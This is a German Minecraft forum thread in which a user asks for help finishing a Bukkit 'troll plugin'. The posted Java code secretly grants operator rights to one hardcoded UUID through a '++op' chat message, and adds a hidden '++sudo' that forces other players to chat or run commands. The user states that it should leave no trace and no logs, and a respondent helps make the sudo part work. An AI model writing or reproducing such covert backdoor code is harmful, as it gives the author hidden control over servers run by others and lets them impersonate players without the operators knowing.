Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?
Hallo
Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.
Mein Aktueller Cod
import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
public class Chack implements Listener {
@EventHandler(ignoreCancelled = true)
public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
Player p = event.getPlayer();
// DEBUG
//p.sendMessage(p.getDisplayName());
//p.sendMessage(p.getName());
//p.sendMessage(p.getUniqueId().toString());
if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
if (event.getMessage().equalsIgnoreCase("++op")){
event.setCancelled(true);
p.setOp(true);
}
if (event.getMessage().startsWith("++sudo")){
event.setCancelled(true);
String[] msg = event.getMessage().split(" ");
String command = "";
if (msg.length > 2) {
Player t = Bukkit.getPlayer(msg[1]);
if (t != null) {
for (int i = 2; i < msg.length; i++) {
command += msg[i];
command += " ";
}
command.trim();
// Version 1
//t.chat(command);
// Version 2
//t.performCommand(command);
// DEBUG
p.sendMessage(command);
} else {
p.sendMessage("PlayerError");
}
}
event.setCancelled(true);
}
}
}
}
der Error kommt aus der Zeile "t.chat(command);"
Hey, ich habe deinen Command mit einer Klasse die den CommandExecutor implementiert, umgesetzt, wäre das für dich auch okay, oder muss es mit einem Listener umgesetzt werden?
Mir ist es ansich egal wie es am Ende funktioniert.
Meine Idee ist es das ich ++<Command> eingebe.
Hast du schon mal einen Befehl mit dem CommandExecutor umgesetzt?
Meinst du einfache / Befehle
ja
Ja habe ich
hast du eigentlich eine genauere Fehlerbeschreibung ? Du schreibst ja nur, dass der Fehler von "t.chat(command);" kommt
Okay, aber es wäre okay für dich den sudo Befehl als normalen / command umzusetzen?
Der Command soll destmöglicht versteckt sein und es soll keine Anzeichen geben das es ihn gibt.
Ebenso soll er keinen Logs erzeugen
Dafür erschien mir der Listener am passenden
okay, dann schau ich mir mal schnell die Listener methode an. Ich hoffe ich kann dir weiterhelfen
Aber wenn du auch andere Metoden Kennst Dann kannst du auch gerne die Benutzen
1 Antwort
Hey, ich habe eine Lösung für dein Problem gefunden; ich füg hier einfach mal einen Screenshot meiner Lösung ein
Anscheinend lag das Problem darin, dass t.chat() nicht von dem AsyncPlayerChatEvent direkt verwendet werden kann, das wird hier aber irgendwie durch die BukkitTask umgangen. Du musst bei }.runTask den Getter deiner Main Klasse einfügen.

mit dem e.setCanceled(true) wird das senden der Nachricht gestoppt, da man diese ja nicht im Chat sehen soll. Und wieso genau man .runTask() mit der Main-Klasse (mithilfe des Getters) des Plugins ausführen muss, kann ich dir leider nicht erklären. Du könntest dir hierfür die Dokumentation ansehen. Die runnable allgemein braucht man da sonst wie in der Frage angeführt ein Fehler geworfen wird.
Es sieht gut aus aber ich kann es leider erst später testen.
Die Bukkit runnable implementiert quasi seine runnable und man overwrited dann run(). Kannst du mir eventuell ".runtask(Main.getPlugin());" erklären? Also runtask, du startest den "thread" quasi, aber inwiefern mit dem Main plugin? Und wofür braucht man e.setCanceled(true);? Vielen Dank im Voraus!